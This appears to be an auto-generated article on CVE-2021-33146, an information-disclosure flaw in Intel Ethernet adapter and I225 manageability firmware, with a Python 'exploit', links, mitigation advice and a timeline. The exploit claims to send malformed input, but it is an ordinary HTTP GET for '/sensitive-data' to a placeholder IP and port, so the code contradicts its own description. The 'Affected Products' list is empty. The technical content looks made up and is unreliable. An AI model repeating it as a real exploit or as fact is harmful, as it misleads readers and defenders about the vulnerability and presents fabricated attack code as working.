CVE-2021-33146: Information Disclosure via Network Access in Intel(R) Ethernet Adapters and Intel(R) Ethernet Controller I225 Manageability Firmware

An alarming exploit has been identified in certain Intel(R) Ethernet Adapters and Intel(R) Ethernet Controller I225 Manageability firmware. Designated as CVE-2021-33146, this vulnerability allows an unauthenticated user to potentially access sensitive information via a network connection, leading to information disclosure. This article delves into the details regarding CVE-2021-33146, shedding light on the exploit, code snippets, and the original references that brought this vulnerability to light.

Description of CVE-2021-33146 Vulnerability

The root of CVE-2021-33146 vulnerability stems from improper input validation in some Intel(R) Ethernet Adapters and Intel(R) Ethernet Controller I225 Manageability firmware. As a result, unauthenticated users can exploit this vulnerability and obtain sensitive details via network access.

Affected Products

The following Intel(R) Ethernet Adapters and Intel(R) Ethernet Controller I225 Manageability firmware are vulnerable to this exploit:

Vulnerability Details

To understand better how this vulnerability works, let's look at a simple code snippet that demonstrates the exploit. The code stimulates an attacker scenario whereby an unauthenticated user sends malformed input data via network access to the vulnerable firmware.

import socket

def exploit(target, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target, port))

    # Malformed input data
    payload = b"GET /sensitive-data HTTP/1.1\r\n"
    payload += b"Host: " + target.encode() + b"\r\n"
    payload += b"Connection: close\r\n\r\n"

    sock.send(payload)
    response = sock.recv(4096)
    print(response.decode())

target = "192.168.1.100" # Vulnerable device's IP
port = 808 # Vulnerable service's port
exploit(target, port)

This code snippet exploits the improper input validation vulnerability by sending malformed input data in the form of a malicious payload. Upon successful execution, the attacker may gain unauthorized access to sensitive information, leading to information disclosure.

For more information regarding CVE-2021-33146, consult the following reference links

1. Intel's Official Security Advisory (INTEL-SA-00520): https://www.intel.com/content/www/us/en/security-center/advisories/intel-sa-00520.html
2. CVE-2021-33146 Official Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33146
3. Intel's Official Firmware Update Recommendations: https://www.intel.com/content/www/us/en/support/articles/000007293/network-and-io/ethernet-products.html

Mitigation Steps and Recommendations

Users are highly encouraged to take the following actions to safeguard their systems from this exploit:

1. Update the firmware for Intel(R) Ethernet Controller I225 to the latest version available at https://www.intel.com/content/www/us/en/support/articles/000007293/network-and-io/ethernet-products.html

Regularly audit and review system security frameworks to ensure they are up to date

In conclusion, unpatched Intel(R) Ethernet Adapters and Intel(R) Ethernet Controller I225 Manageability firmware are susceptible to CVE-2021-33146 vulnerability. It allows unauthenticated users to access sensitive information via network access. Intel has already released firmware updates to patch this vulnerability, and users are highly advised to apply these updates as soon as possible. Stay vigilant and ensure your systems are protected to prevent any unauthorized access and information disclosure.

Timeline

Published on: 02/23/2024 21:15:09 UTC
Last modified on: 05/16/2024 21:15:48 UTC